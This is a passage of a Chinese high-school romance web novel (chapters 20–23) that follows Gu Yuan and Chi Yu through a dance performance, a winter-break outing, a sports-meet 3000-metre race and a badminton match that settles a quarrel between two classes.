最后只剩下八个人，顾鸢和刘欣两个女生，剩下的六个都是男生。
由于时间紧迫，大家一致决定每天中午提前到校练习半个小时，下午晚饭时间缩短，加上晚读凑够一个小时排练。
艺术楼教室有限，林雪提前联系了老师才借到一间，结果刚进去就有其他班的人涌了进来。
顾鸢正靠着窗台背单词，看到来人下意识要站起来，迟瑜按住她的肩膀。
“看你的。”
来的是隔壁十六班的，领头的正是白佳丽，林雪放下手机走过去，警惕道：“你们要干什么？”
白佳丽扬着笑脸，拉着她的手臂摇了摇，“林雪，你们才八个人，教室借我们一半呗。”
林雪皱眉抽出胳膊，“不行。”
这间舞蹈教室本来就小，两个班的人要怎么在一起练。
“那么独断干什么，教室你们又不是一直用，我们就挑你们不在的时候来。”
“是啊，这是学校的教室，你们也不能抢占啊。”
林雪平日里为人骄傲，可真要让她和别人理论也说不出几句话，一时间气的脸红脖子粗。
正要说话，顾鸢扣住她的肩膀把人往后一带，林雪顺势靠在她怀里。
“把时间说好不能撞到一起，这样的话也不是不可以。”
白佳丽笑得眼睛都眯了起来，“当然可以，谢谢你。”说着她挑衅地看了眼林雪，冷哼道：“不愧是第一名，果然跟某些人就是不一样的。”
林雪气的要冲上去，顾鸢拉住她，“钥匙是林雪借的，只要你们征得她的同意就没问题。”
最后白佳丽说了几句软话林雪答应把钥匙借给她。
“你怎么能答应她，万一她们抢了我们的教室怎么办？”
顾鸢开玩笑道：“那我们就再抢过来呗。”
林雪震惊。
顾鸢笑笑，“开玩笑的。”
练了几遍之后，林雪根据熟练程度开始排走位。
“就是这里，迟瑜你把花给顾鸢，然后你们跳完这段最后的时候顾鸢再把花扔掉。”
迟瑜瞅着那朵塑料花蹙眉，“花为什么要扔？”
林雪：“人家就是这么排的呀。”
她怎么知道。
走位变了之后顾鸢和迟瑜有几个动作显得很亲密。
就比如。
“迟瑜你把手搭上去。”
“迟瑜你眼睛看哪儿呢？”
“迟瑜你能不能跟顾鸢配合着点？”
最后跳下来其他人都没问题，反倒是他们两个哪里都透着奇怪。
林雪叹气，“今天先这样吧，我们明天再继续。”
从艺术楼出来，迟瑜走到顾鸢身边一言不发。
林雪和刘欣小声私语，“怎么回事？”
刘欣：“我也看不懂。”<
20. 玫瑰·做梦
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元旦晚会在周四晚上。
彩排前林雪拿着自己的全部家当给顾鸢和刘欣化妆。
顾鸢本来就很白，林雪把重点都放到了眼妆上，眼尾加了碎钻，口红有些粉，林雪看了两眼，又换了一种涂上。
及肩的头发散开披着，言酥还在左侧编了一个小辫子。
顾鸢先弄好就和言酥去外面，言酥有一道题不会，顾鸢趴在窗台上给她讲。
窗外冷风凌冽，窗帘被风吹到外面，下一瞬又被吹地直直打过来，顾鸢伸手去拦，头顶横出一只手先她一步抓住。
“就是这样你再看一下。”
顾鸢仰头，入目是英俊又隼利的眉眼，清晰高挺的鼻梁，还有颜色浅淡的嘴唇。
男生耷拉着黑长的睫羽，垂眸看着她，目光平静又汹涌。
她松开手，后背抵着窗台。
男生的衣服都是统一的黑色系，女生的是红色。
一红一黑，极具冲击力的两种色彩交织着，又似乎映衬着主人的心绪，无声的在进行着较量。
自从上次激了迟瑜之后，顾鸢发现他看过来的眼神是越来越直白了。
旁边的人：“……”
“咳—”
江皓阳把手里的塑料袋提起来，“顾姐你和言酥的饭。”
言酥：“对，吃饭，先吃饭，饿死我了。”
礼堂在五楼，一楼到三楼都是食堂，因为之前顾鸢吃食堂闹了肚子，在那之后没人敢让她吃食堂的饭。
三楼，林雪和刘欣弄好之后也下来了。
顾鸢看着饭盒里的菜愣住。
桂花藕、油爆虾、香菇滑鸡、莴笋抄腊肠。
“这是你们在哪里买的盒饭？”
江皓阳举手，“就是芙蓉巷那边的一家老店。”
他的好哥们挑挑选选选中的那家。
言酥眼眸亮亮的，口水差点掉出来，“真好哦，跟着你沾光了。”
顾鸢看了眼对面低头吃饭的男生，夹起一块香菇放入嘴里。
林雪的眼睛直勾勾地盯着顾鸢饭盒里的油爆虾。
顾鸢夹了一个放到她的餐盘里，“谢谢你帮我化妆。”
“这有什么。”林雪高兴地吃了一大口米饭，“从我手里出来两位美女，这可有成就感的好吧。”
说着林雪看向在场的其他人，“你们说，我这化妆技术怎么样？”
江皓阳举起大拇指，“林姐牛逼。”
墨谦也附和，“厉害。”
迟瑜抬起眼帘看向对面的女生，大约是因为涂了口红，她吃的很小心，慢吞吞地嚼着口里的食物。
像只高贵慵懒的小猫，时刻注意自己的形象。
十五班的节目在中间，他们几个先坐在下面看节目，等时间差不多了再去后台。
开场舞是由老师来表演的，音乐一响起，班里同学都认出了自己班的老师。
言酥摇着顾鸢的手臂，双眸瞪大不可置信，“天哪，那竟然是曹老师，曹老师打扮一下这么帅的吗？”
顾鸢把她张开的下巴抬起来，“收敛一下，不然收假回来曹老师要变曹大爷了。”
曹军平刚研究生毕业，也才二十五岁的年纪，虽然平时不注重打扮，但收拾一下就是颜值气质中上的男大。
顾鸢听老顾说过有的新老师为了让家长放心会刻意扮老，还有更重要的原因是十五六岁的高中生正是情窦初开的年纪，难免会生出不该有的心思。
但要是个看门大爷摸样的，她们就绝对没想法了。
言酥和旁边的女生疯狂摇手里的荧光棒，已经听不进去其他的声音了。
“男神！男神！男生！”
顾鸢扶额。
太疯狂了。
“你不喜欢？”
耳畔突然响起清冽的话音，即使在嘈杂的环境中，顾鸢还是听得一清二楚。
她反问：“你喜欢？”
迟瑜噎住，过了好半晌才说了句，“我是直的。”
“噗——”
顾鸢捂着嘴笑，偏眸看着他，男生的耳尖泛起淡淡红晕，顾鸢捏了捏手指，控制住了摸上去的冲动。
她的唇角微扬起，漾出一抹浅笑，慢悠悠地点了点脑袋。
迟瑜往后靠，女生侧脸线条柔和，睫毛又浓又上翘，振翅间像只扑闪的蝴蝶，翅膀上还沾着细碎的星光，分外惹人。
接下来的节目有小品《江南四大才子》、舞蹈《青花瓷》、歌曲《年轮》……
差不多到时间了林雪叫大家去后台准备。
刘欣的头发有点乱，林雪赶紧帮她整理，余光瞥了一眼顾鸢，又急忙说道：“你的口红掉了，快点涂上。”
“在包里，粉色的那支。”
顾鸢从林雪的百宝箱里找出口红，因为没有镜子，只能盲涂。
迟瑜站在旁边看着，踌躇半晌才出声，“要不我帮……”
顾鸢问他，“你拿手机了吗？”
迟瑜点头头。
“帮我拿起来。”
迟瑜举起手机。
女生微微张开双唇，露出贝齿里的粉色，唇瓣上朱砂轻点，开出一朵绚烂的红花。
迟瑜堪堪别看眼，捏着手机的力道微紧。
“好了。”
顾鸢把口红收起来装好，看迟瑜没动，抬手在他眼前晃了晃，“你在想什么？”
想……
他没想。
和前面的节目不同，他们的节目开场就是炫丽的灯光，加之劲爆的音乐。
玫瑰是买的真花，顾鸢从迟瑜手里接过来的那一霎，下面的嗓子似乎都要喊破。
“啊——”
接着迟瑜的手紧紧楼在顾鸢腰间，手心滚烫的温度穿透衣服面料熨烫的皮肤都开始发热。
按照彩排花是要扔出去的，可最后迟瑜伸手拦了一下咬在嘴里。顾鸢大脑宕机，差点忘了结束的动作。
“在一起！”
“在一起！”
“顾鸢我喜欢你！”
结束之后台下掌声雷鸣，甚至有人不少人在趁乱表白。
台上灯光暗下去之后，顾鸢凭着记忆顺手拉起迟瑜，赶紧跑了下去。
一出去林雪就抱住顾鸢，“你们是真的对不对，是真的对不对？”
顾鸢被她晃得脑袋晕，“你先停一会儿，让我缓口气。”
“好好好，来喝水。”林雪说着打开瓶盖把水塞到顾鸢手里。
一瓶水喝完顾鸢觉得脸上的热度才退了一点。
看着林雪揶揄的眼神，顾鸢无奈扯出僵硬的笑。
元旦晚会结束之后就直接放假了，虽然只有一天。
因为时间还早，林雪提议大家一起出去唱歌。
顾鸢不是很想去，她刚才发现大姨妈来了。
言酥抱着她的胳膊摇，“去嘛去嘛，这还是我和你第一次跨年，这么有意义我们不得好好纪念一下。”
知道顾鸢不舒服，言酥凑在她耳边小声道：“晚上回去我给你按摩呀。”
“什么回去，你回哪儿去？”徐百川在后面说道。
言酥笑得有些猥琐，“我今晚要去顾鸢家。”
一想到要和喜欢已久的偶像一起睡觉觉她就好兴奋啊，兴奋的想要跳起来。
“什么？我也要去。”林雪强势加入。
“不要，你去干什么？”言酥抱紧顾鸢不给她可乘之机。
“为什么不要，我偏要去。”林雪也抱住顾鸢的另一条胳膊，“你说，让不让我去。”
顾鸢仰天长叹，“去，让你去。”
大不了她睡沙发好了，睡一起她怕被误伤。
跟在后面的迟瑜眼神微闪。
有江皓阳的吆喝，去的差不多有快二十个人。
顾鸢从卫生间出来回到包厢的时候，里面已经坐了很多人。
言酥拉着她坐到角落，凑近问道：“你还好吗？刚才迟瑜端了一杯热水进来，说是看你脸色不太好给你的，还让我问你是不是感冒了。”
顾鸢抿了一口水，热意从喉间涌入，身上也暖了起来，“还好，就是有点饿。”
“点了吃的应该快上了，要不要给你单独点一份？”
顾鸢摇头，“不用，我可能也吃不了多少。”
“那没事，我和你吃一份。”说完言酥就跑出去问了。
顾鸢浑身疲惫，往后靠在沙发上伸手拿了一个抱枕打开手机看消息。
突然旁边的垫子陷了下去，顾鸢以为是言酥，顺势揽住他的胳膊把手机递过去，“你看这……”
迟瑜低眸，对于突然发生的状况明显是错愕的，垂在身侧的手指摩挲了下，尽量用平淡的语气出声，“看什么？”
顾鸢淡定地抽出胳膊，视线落回手机上，“没看什么，我以为是言酥。”
如果能忽略她紧张到薄红的耳朵的话，那她的伪装就是成功的。
“嗯。”末了迟瑜又补充了一句，“她和林雪出去了。”
“哦”
顾鸢抬手把脸颊的碎发捋到耳后。
大概是真的累了，看了几分钟手机她就开始打盹。
言酥和林雪进来的时候整个包厢气氛活跃，只有角落里很安静。
顾鸢抱着抱枕靠在沙发上睡着了，迟瑜就坐在他旁边玩手机。
这处安静的地方在哄闹的包厢里显得格格不入，却又并无不妥。
“还过去吗？”
“算了吧。”
顾鸢是被香味馋醒的，睁开眼就看到言酥啃了一大口烤串。
“醒了，快吃，还要了一份蛋炒饭应该快上了。”言酥说着把一串烤肉塞到顾鸢手里。
顾鸢四下看了眼，一帮人围在一起玩着什么游戏，迟瑜也在里面。
从KTV出来的时候已经过十一点了，林雪被家里人接走，言酥跟着她。
洗漱完出来，言酥手把手机递给她看。
“你们俩现在是越来越火了，而且还有人专门剪辑了你们俩的部分重新加了配乐，你要不要听听？”
顾鸢点了点脑袋。
要不怎么说人家是专业，就这技术，不知道的人看了还以为里面的是热恋中的小情侣。
言酥瞄了眼顾鸢，小声道：“我觉得你也有点喜欢她吧。”
“是不是啊？你告诉我呗，我不给任何人说。”
顾鸢笑了下，“那你先回答我一个问题呗。”
“什么？”
“你喜欢徐百川吗？”
言酥吓得眼睛都瞪大了，“什么呀，我怎么可能会喜欢他，你看错了吧，那根本就不可能的事，你
21. 拥抱
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对顾鸢来说寒假和上学没有多大变化，她除了学习看书就是研究新菜，当然每次都被阿姨劝出来。
上完网课，顾鸢套了件毛衫下楼。
老顾和姜女士都不在，家里就她和阿姨。
顾鸢正往厨房走，池砚舟打了电话过来，“浅浅，简潇哥回来了，下午要一起聚聚吗？”
“好啊。”
简潇是老顾好友的儿子，比顾鸢大五岁，小时候他们这一群人最崇拜的就是简潇。
因为在他们讨论去哪里玩的时候简潇又拿了什么奖，在他们为了喜欢的明星塌房而伤心的时候简潇已经是省状元了。
时间还早，顾鸢吃了个小蛋糕，又上楼做了几套卷子。
换好衣服准备下楼的时候言酥发来了一个视频。
是江皓阳又剃成了光头，徐百川把他的帽子扯了下来，拿了一顶女士假发给他戴，江皓阳四处躲着不让。
言酥还在后面发了几条语音。
“笑死我了，江皓阳说他跟迟瑜打赌输了所以又把头发剃了。但徐百川说两人根本就没打赌。”
“浅浅，你要剪头发吗？我妈妈想让我把头发剪了，说高中生的精力要放在学习上，长头发打理起来太麻烦了。”
顾鸢走到镜子前看了眼，拿起手机回她，“我不想剪了，这个长度我觉得正好。”
很快言酥回了过来，“那好，我也不剪了。好无聊啊，要不要出来聚聚呀？”
“今天可能没时间，改天吧。”
“好。”
—
芙蓉巷
九味居
窗边的少年穿着黑衣黑裤，挡风外套的拉链拉到顶端，姿势闲散的靠在椅背上，手里把玩着茶杯，听到对面的人说的话，唇角勾出一抹嘲讽的弧度。
“以后别来找我了行吗？”
“迟瑜，我知道这事你受了伤，可我也是受害着。”云清气红了眼，拿起沙发上的抱枕就要扔过去。
迟瑜站了起来，余光瞥见马路上的两道身影，漆黑桀骜的眸子微沉，扯过抱枕丢出去。
敛下神色，他又坐下，“最后一次，说吧，你要干什么？”
云清愣住，“你什么意思？”
迟瑜往后靠在沙发上，姿态散漫，“是，你说的没错，你是受害者。那我呢，我是加害者吗？”
“不是，我不是那个意思。”云清有些慌，“我只是……”
迟瑜制止了她接下来要说的话，“云清，那晚我不后悔救你，不管是谁我都会救。”说到这儿，他嗓音变凉，嗤笑一声，“但你别恩将仇报了行吗？”
云清呆愣地坐在原地，喃喃道：“你觉得我在恩将仇报？”
迟瑜掏出手机，身体往前倾了倾，眼皮懒懒地掀起，“你爸妈三番两次来威胁我和我妈，你的好哥哥隔三差五来堵我，究竟是……”
到底是个女生，迟瑜说不了重话，“以后会更好，别执着以前的事。”
云清眼睛里的泪水断了线的往出流，没一会儿就趴在桌子上呜咽起来。
叹了口气，迟瑜找了服务员要了一包抽纸放到桌子上。
“赶紧回去吧，或者叫你家司机来接你。”
话落迟瑜转身就走。
“你看不起我吗？”
云清这话的音量很大，说完大厅里的人都看了过来。也包括刚上楼的顾鸢和池砚舟。
顾鸢顿住，两人的视线在空中相撞。
迟瑜手指蜷缩，喉结哽住。
池砚舟在顾鸢耳边小声道：“我们先上去。”
等顾鸢反应过来的时候人已经被拉到了楼上。
包厢门推开，里面已经坐了五六个人。
简潇站起来朝两人道：“浅浅，小舟，快坐。”
“简潇哥，好久不见。”
“好久不见，浅浅已经长这么漂亮了。”
简潇问了两人的学习，大家就开始东一句西一句的聊天。
晚上八点，顾鸢去外面接姜女士的电话，要进去的时候看到池砚舟发的消息，问她后面的唱歌还去不去。
顾鸢回了包厢一趟，跟池砚舟说了声先回家。
简潇过来问她，“要走了吗？我送你。”
“不用，我给贺叔叔打电话了，他过来接我。”
“到了给我发个消息。”
“好。”
推开饭店的玻璃门，一股冷风迎面袭来，顾鸢被刺地缩了缩脖子。
忽然抬眸是看到马路对面的公交车站牌下站着一个黑衣少年。
似乎是察觉到了她的视线，对方也看了过来。
顾鸢抿了抿唇，把手揣进衣兜里抬脚走过去，“你怎么在这儿？”
迟瑜垂眸，半年过去他又长高了，顾鸢仰着头，脖子有些发酸。
他说：“我在等猫。”
“猫？”
顾鸢看了眼四周，“哪有猫？流浪猫吗？”
“你不冷吗？为什么不去店里等。”
说罢顾鸢把脖子再往下缩了缩。
没等到对方的回答，手腕被攥住，朝着旁边的精品店走过去。
顾鸢讶然，这么听话？
小姐姐见两人进来，笑着说道：“妹妹，你男朋友等你很久了，让他进来他还非要在外面等。”
男朋友？？？
“你好，有围巾吗？”
“有有有，这边。”
小姐姐带两人走到后面，“这一排都是，你们挑，选中拿条就自己拿下来看。”说完小姐姐立马就走，一秒也不多留。
顾鸢脑子里还重复着那句“男朋友”，而这位“男朋友”本人倒是没有一点反应，反而淡定地挑着围巾。
“那个姐姐说你在等我？”
迟瑜拿了条白色的围脖在她身前比了下，顾左右而言他道：“你喜欢戴围巾还是围脖？”
“围巾吧。”
顾鸢看着他把围脖放回去又挑起来，“对了，云清呢，你不是跟她在一块吗？你是在等她吗？你要不出去等、唔。”
顾鸢的话没说完，因为他被人用围巾堵住了大半张脸。
迟瑜看了会，似乎是满意，轻点了下脑袋，又拉着她的手腕往出走。
“就这条。”
顾鸢拿出从衣兜里掏钱包，“我自己付。”
然后，她尴尬的发现自己出门没带钱包。
从店里出来，两人沿着小路往出走。巷子里的路灯有些暗，顾鸢一直偏眸看着前面，脚上突然踩到了什么东西，顾鸢低头看了眼，吓得叫了声跳到旁边的人身上。
迟瑜被他撞得往后退了一步，连忙将人稳稳托住。
“怎么了？”
“有蛇。”顾鸢抱紧他的脖子，头埋到他脖颈里，嗓音含着哭腔。
迟瑜往下看了眼，地上躺着一条泛光的绿蛇。
蛇？
迟瑜勾唇轻笑了声，叫道：“顾鸢。”
“啊？”顾鸢勒紧他的脖子，嗓音还带着颤意。
两人现在的姿势很暧昧，顾鸢整个人跳到他身上，说话时的呼吸都喷洒在他的脖颈，女生身上带着淡淡的清香也涌入鼻息。
迟瑜仰起脖子，喉结滚了滚，打趣道：“那条蛇可能是觉得太冷了想跑你脖子里暖和暖和，要不你帮帮它？”
“怎么不放你脖子里呢？”顾鸢要被他气哭了，这人怎么这么坏啊。
过了几秒，顾鸢反应过来了什么。
她把头抬起来，视线瞥向地上，“你说那是什么？”
迟瑜反问：“你说是什么？”
还能是什么，蛇啊。
可大冬天哪来的蛇。
顾鸢松开胳膊跳下来，迟瑜揽着她站好。
安静了三分钟之后，顾鸢吸了吸鼻子，一本正经道：“我们还是走那边吧。”
“噗—”
“不怕蛇了？”
“你跟那个云清是什么关系？”
迟瑜愣了两秒。
这话题跳跃的速度比翻书还快。
超市里
顾鸢抱着一瓶奶茶暖手，迟瑜坐在旁边拿手机发信息。
超市外正对着有棵榕树，树上挂红色的小灯笼，有小孩儿跳起来去拿，没有够到，试了几次瘪着嘴跑了。
笨，不知道拿个工具。
迟瑜发完了消息，顺着她的目光往外看。
那个小孩儿叫来了大人，结果大人骂了他几句，小孩儿哭的更凶了。
就说他笨。
顾鸢吸了口奶茶，慢慢收回目光。
迟瑜把衣领
22. 吃醋
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初三一过，顾鸢一家就回宁宜了，家里每天都有人来，顾鸢除了吃饭都待在楼上，很快就到了开学的时候。
群里吐槽假期过的太快，其中还夹着各种试卷的答案。
没写的赶紧抄，写完的赶紧发。
你借我这科，我看你那科。
企图用一支笔一盏台灯一个晚上创造一个奇迹。
下午六点半的教室人满为患，各种作业乱飞。
顾鸢的作业也不知道传到了哪里。
“安静一下，七点之前各科课代表收齐寒假作业，没拿的一律记一份名单给老师。”
“艹，我阿数呢？”
“嘛呢，我小语呢？”
“滚，别碰我老英。”
江皓阳：“顾姐，你英语借我看看你。”
言酥：“浅浅的英语在我这儿。”
江皓阳：“吼，言酥你也没写？”
言酥：“傻子，我收作业。”
顾鸢隔绝了外界的声音，淡定地做着数学竞赛题。
上课铃声拉响之后吵闹声渐渐停了下来。
曹军平拿着保温杯踱步进来，“好久不见了同学们。”
“有几件事跟大家通知一下，3月27日是运动会，还有不到一个月的时间，希望同学们踊跃报名，下来以后江皓阳统计一下名单。还有最近流感比较严重，大家注意保暖，教室多开窗通风，没事去外面走走多运动，……”
曹军平说了近半个小时，顺便开了班会晚读就下了。
顾鸢和言酥去了一趟卫生间回来，两人的桌子上就堆满了各种零食，像个小山丘一样。
“这是谁放的？”顾鸢说着拿起其中的一包棉花糖。
前面的陈哲明转了过来，说道：“刚才进来几个人放下东西就走了没看清是几班的。”
“呦，顾姐，这么多吃的分我们一点呗。”迟瑜从后面过来顺手拿走顾鸢手里的棉花糖撕开。
这语气听着阴阳怪气的，顾鸢抽出他手里的棉花糖，点点下巴道：“自己取。”
迟瑜真的不客气，两只手抓着往他的桌子上转移，没一会儿顾鸢桌上的零食就所剩无几了，留下的恰好都是她爱吃的。
同学们。
这是吃醋吧？
吃醋了吧！
顾鸢看着迟瑜书桌上的小山丘眨了眨眼，“迟瑜，你这么喜欢吃零食吗？”
迟瑜唇角勾起，露出玩味的笑，“喜欢啊，我就喜欢吃！零！食！”
顾鸢睇他一眼，转身坐好。
下课后迟瑜把那些零食都分给周围的人，言酥桌子上的也被徐百川和江皓阳拿完了。
放学后顾鸢把剩下的一道题写完才出去，等走到大厅，才发现左侧的走廊里有一盏灯坏了，一闪一闪的，在幽暗的楼道里透着诡异。
顾鸢屏住呼吸不往那边看，脚下快的几乎小跑起来，突然有一只手抓住她的书包带子，顾鸢下意识手往后抓，正要使力，就听到一声熟悉的声音，“是我，跑什么？”
“迟瑜？”
顾鸢扭头看向身后的人，没有发现其他的东西，她松了口气攥住男生的胳膊。
迟瑜愣了几秒，反手牵着她走到光照强一点的地方。
“好点了吗？”
半晌，顾鸢点了点脑袋，低低地嗯了一声。
走出校园到马路边的这一段路，顾鸢一直和迟瑜保持着不超过十厘米远的距离。
路边卖红薯的大爷还在，迟瑜拿了一个大的塞到顾鸢手里，见她还呆楞着，抓住她的手把红薯贴到脸上。
温热的感觉涌进皮肤，顾鸢慢慢回了神，撩起眼帘看过去。
男生是看狗都深情的桃花眼，瞳色是高纯度的黑，浅薄的内双，睫毛又密又长，眉眼带了锋芒，额前的碎发有几缕遮住了眉毛一直落到眼角。
说不清是什么感觉，好像是脑海里炸出了烟花，噼里啪啦像个不停。又好像是呼吸停滞了一瞬，有什么东西钻进大脑里。
马路上车灯闪烁，划破夜的暗淡。
—
没有多少反应的时间，很快就进入了紧张的学习氛围。
顾鸢又恢复了一点睡五点起的作息，但有时候写题忘了时间会熬到两点，加上午休的二十分钟，一天睡四个小时勉勉强强。
姜女士请了营养师专门为她搭配营养餐。
这个年龄既要长身体又要拼成绩，家里能做的就只有衣食住行上的支持，两人在这方面倒是意见一致。
一晃进入三月，春雨忽至，淋淋沥沥的落在窗沿上。
“姐姐们，哥哥们，报个名吧，就当为班级做贡献了，求求了各位。”江皓阳又开始了每日一催。
迟瑜被他吵烦了，拽着人坐下去，言辞简扼，“还差什么？”
“一千五和三千，哥，你报哪个？”江皓阳拽着迟瑜的胳膊晃啊晃，脸上堆满讨好的笑。
迟瑜抽出胳膊，拿起笔写名字，“这这这，填这儿。”江皓阳指到了三千米的地方。
迟瑜眄他一眼，还是写上了名字。
“呼—”江皓阳站起来又开始找新的目标，眼睛像是点兵点将一样，最后点到了徐百川。
秉承着死道友不死贫道的精神，江皓阳走过去钩住他的肩膀，“川，填一个。”
“呕—”
言酥捂着嘴巴做呕吐的动作，“江皓阳你能别这么恶心吗？”
江皓阳眼珠子一转，朝顾鸢和言酥道：“顾姐，言姐，报一个？”
“拒绝。”言酥双手画叉，“我连早操都天天想逃的人让我去跑步，你脑子瓦特了。”
顾鸢：“……”
“顾姐—”
江皓阳扯住顾鸢的袖子开始假哭，“顾姐你报一个吧，迟哥也报了。”
顾鸢抬眼，有些意外，“他报了什么？”
“三千。”
江皓阳不知想到了什么，小声说道：“报一个我告诉你一个迟哥的秘密。”
顾鸢二话不说拿起笔就把名字填了上去。
也是三千。
江皓阳瞪大眼睛，恭敬地朝她鞠了一躬。
“感恩。”
言酥担忧道：“浅浅，你行吗？三千可不是小数目，要不改一千五也行啊。”
“来不及了，一千五刘欣报了。”江皓阳美滋滋地拿着单子去办公室。
顾鸢抬起下巴，给她一个放心的眼神，“没问题，你就等着看吧。”
小小三千米，随便拿下。
迟瑜靠在椅背上，半眯着眼，不动声色问：“三千米你能跑下来吗？”
顾鸢扭头睨他一眼，“看不起谁呢，我要是跑下来了怎么样？”
身体往前倾了倾，迟瑜勾起唇角，含笑道：“你想怎么样？”
顾鸢：“……”
她想看、咳、“我还没想好。”
“行。”迟瑜往后靠拿笔在手里转起来，“等你想好了再告诉我。”
其他人：……
这是有情况吧？
这绝对有情况吧！
晚自习下了之后操场有很多跑步的人，大部分是高三高四的学长学姐压力太大出来放松，小部分是为了运动会，极小部分是单纯的锻炼。
顾鸢在边上活动着手腕脚腕，瞥到迟瑜幽幽望来目光，定了定神道：“你看我干什么？”
“看你能跑几圈。”
迟瑜对顾鸢的影响还停留在班会那天。
娇气，胆小，瘦胳膊瘦腿。
别跑两步摔了还得去校医室。
顾鸢眄他一眼，走到外圈跑起来。
言酥坐在看台上背单词，顺便帮他们几个看书包。
操场内圈是400米，顾鸢跑的外圈，跑到第五圈的时候腿开始发软，慢走几步停下来双手支着膝盖调整呼吸。
言酥看她停下忙跑了下来，“先休息会儿吧，你都跑好久了。”
顾鸢摇头，“没事，我再走两圈。”
刚跑完就坐明天腿就废了。
言酥扶着她，“那我陪你走。”
她不喜欢跑步，但她喜欢散步。
江皓阳在后面幽幽道：“顾姐牛逼啊。”
迟瑜推了他一把，两人在后面不远不近地跟着，“你不是要考体育，
23. 受伤
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三月底，宁宜的气温已经稳定到了二十五度，操场上人流如织，广播里还放着某个同学写的加油稿，顾鸢换了身粉色的运动衣在看台下做热身。
起点旁边的位置围观的人不少，顾鸢之前参加过长跑，只是上了高中松懈了，不过这几天夜跑也慢慢找回了状态。
周围人潮沸腾，顾鸢和其他运动员在众目睽睽之中走入场地。
她抬起眸，言酥在不远处朝她招手。
旁边的男生穿着白色的运动服，清爽又干净，他的私服大多是暗色，顾鸢眼眸微亮，扬唇朝他笑笑。
离得不远，顾鸢看出了他的唇形。他说，加油。
运动场各处都有穿着绿色背心的志愿者，有一些同学跑到内圈陪跑，顾鸢速度始终不快不慢保持在第三。
第五圈的时候，后面的一个女生开始加速，一连超了两个人稳在第二的位置。顾鸢调整着呼吸开始慢慢加速。
最后一圈有很多人都在走，顾鸢憋着一口气，在不到一百米的地方猛冲，周遭的声音嗡嗡嗡地响着。
眼前的景物和人似乎都出现了幻影，耳边只剩下震耳欲聋的惊呼声和喝彩声，踏过终点线，顾鸢一下跌了下去，落在一个炽热有力的怀抱。
鼻尖是凌冽的薄荷清香，大脑稍稍清明了一些，她扬起脖子，入目是少年流畅的下颚，英挺的眉眼，还有颜色很淡的薄唇。
“顾姐牛逼，第二名。”
“别坐别坐，先扶着走一会儿。”
“要不要喝点水？”
“这儿有温水。”
言酥拧开保温杯用瓶盖倒了杯水，顾鸢手酸，被人托着抿了几口。
等缓过来已经是半个小时后了。
傍晚，落日西斜，蝉鸣四起，晚风清清拂过耳畔，顾鸢伸手把跑到前面的头发挽到耳后。
“浅浅，你也太拼了。”言酥揉着她的一侧肩膀感叹道：“咱们班三千有两个拿奖，这下老曹脸都要笑烂了。”
迟瑜三千跑了第一，顾鸢跑了第二，其他的项目班里也拿了不少名次，曹军平这几天不管说不说话脸上都是笑着的，可把人骄傲住了。
林雪道愤愤道：“要不是白佳丽撞了刘欣，一千五我们班也有名次，真是太阴险了。”
言酥附和，“就是，阴险，我也看到是她撞得刘欣。浅浅，你上次都不该让林雪给他们班借钥匙。太坏了。”
顾鸢张了张嘴，话还没说出来就听到一记轻嘲。
“自己技不如人还好意思怪别人，你们才真是好不要脸。丢不丢人啊？”
言酥蹭地站起来，怒道：“你说谁呢，你才不要脸，你们都不要脸。”
“你闭嘴，……”
……
“嘭—”
篮球在空中抛出一道优美的弧线，精准地落进球框里。
“不好了！我们班女生和十六班女生打起来了。”
“卧槽！”江皓阳扭头就见迟瑜已经跑远了。
“快跟上。”徐百川拉上他往操场跑。
等几人到的时候，场面一度混乱，顾鸢被言酥和林雪推出来，白佳丽一条腿拄着拐杖一只手紧紧攥住她的胳膊不让她动弹。
到底是女生打架的场面，男生在外面看着根本插不进去。
“放手。”
低沉的嗓音从头顶响起，白佳丽缩回了手臂，拄着拐杖往旁边跳了几步。
顾鸢抬起眼睫，腕骨被攥住踉跄了一步带到旁边，他漆黑的瞳眸看下来，声线压低，“有没有受伤？”
顾鸢摇了摇脑袋，“没有。”
她的头发刚才被弄散了，发圈也不知道去了哪里，没来得及整理，看着有些乱，一汪眼眸澄澈明亮，长睫微颤，莫名有些呆。
靠！怎么这么可爱！
迟瑜抬手把翘起的头发压了压，喉结微微滚动了下，低沉着嗓音道：“怎么回事？”
“还是刘欣被绊倒的事，言酥和林雪说了几句被他们几个听见了，几人吵了起来，吵着吵着就打起来了。”
顾鸢本来想挣开白佳丽过去帮忙的，但白佳丽一条腿还绑着绷带，她没敢动。
两人说话的间隙人已经被分开了。
言酥和林雪的头发乱糟糟的，余荔的发带也被扯掉了。
隔壁班的情况也没好到哪里去。
分开之后还在骂着，伸长了腿要踢人。
十六班的班长正是之前向顾鸢送酸奶的那个男生。
他推了推眼镜，说道：“大家都冷静一下，事情已经发生了，在这里吵也没有用。马上要上自习了，都回去上课吧。”
林雪是个急性子，当下就道：“不行，这件事必须说清楚，你们道歉。”
“凭什么？”
“白佳丽是故意绊倒刘欣的。”
“谁看见了？”
“我们都看见了。”
两个班级的人僵持不下，顾鸢走到余荔身边说了句话。
余荔听完点了点头，朝曹磊道：“既然这样我们再比一场。”
曹磊身后的男生扬起下巴，“比什么？”男生看了眼迟瑜几人，语气有些弱，“篮球吗？”
余荔看了顾鸢，她道：“这是我们女生的事情，你们男生在旁边看着就行。我们比羽毛球，二队二，一局定胜负。”
十六班学委陈晓晓应下，“可以。”
顾鸢紧跟着说道：“输了你们道歉。”
曹磊和学委说了什么，点了点头，“要是你们输了也要道歉。”
林雪的暴脾气又忍不住了，“凭什么？明明是你们先故意的。”
顾鸢给了她一个安抚的眼神，林雪的心莫名就安定了下来。
……
体育馆
两个班的人都围在一起讨论战术。
迟瑜取下手腕上的橡胶手环给顾鸢，顾鸢微怔，自然地拿起把头发扎成高马尾。
林雪忧心仲仲，“你们俩没问题吧。”
余荔活动着手腕脚腕，淡定地说道：“没问题。”
顾鸢拍了拍她的肩膀，语气让人安定，“放心，一定帮刘欣出气。”
刘欣本来在教室休息，听说了这事也一跳一跳地跑了下来，她拉着林雪的胳膊，朝顾鸢和余荔道：“你们小心一点，对面的陈晓晓很厉害。”
作为顾鸢忠实的铁粉语气十分自信，“你们放心好了，他们俩绝对没有任何问题。”
比赛开始，其他人都退到一边。顾鸢和言酥对视一眼，一切尽在不言中。
“啪—”
余荔的第一个球发的非常刁钻，对面的两人都没有接到。
曹磊捏着拳神色紧张。
对面的球也很刁钻，但在顾鸢和余荔的配合下，两人不管用什么方法手上的球都接不过三个。
随着比分差距越来越大，对面两个女生也慌乱起来。轮到对方发球的时候，女生扬起手腕，白色的羽毛球直直的朝顾鸢打来。
十五班的人屏住了呼吸。
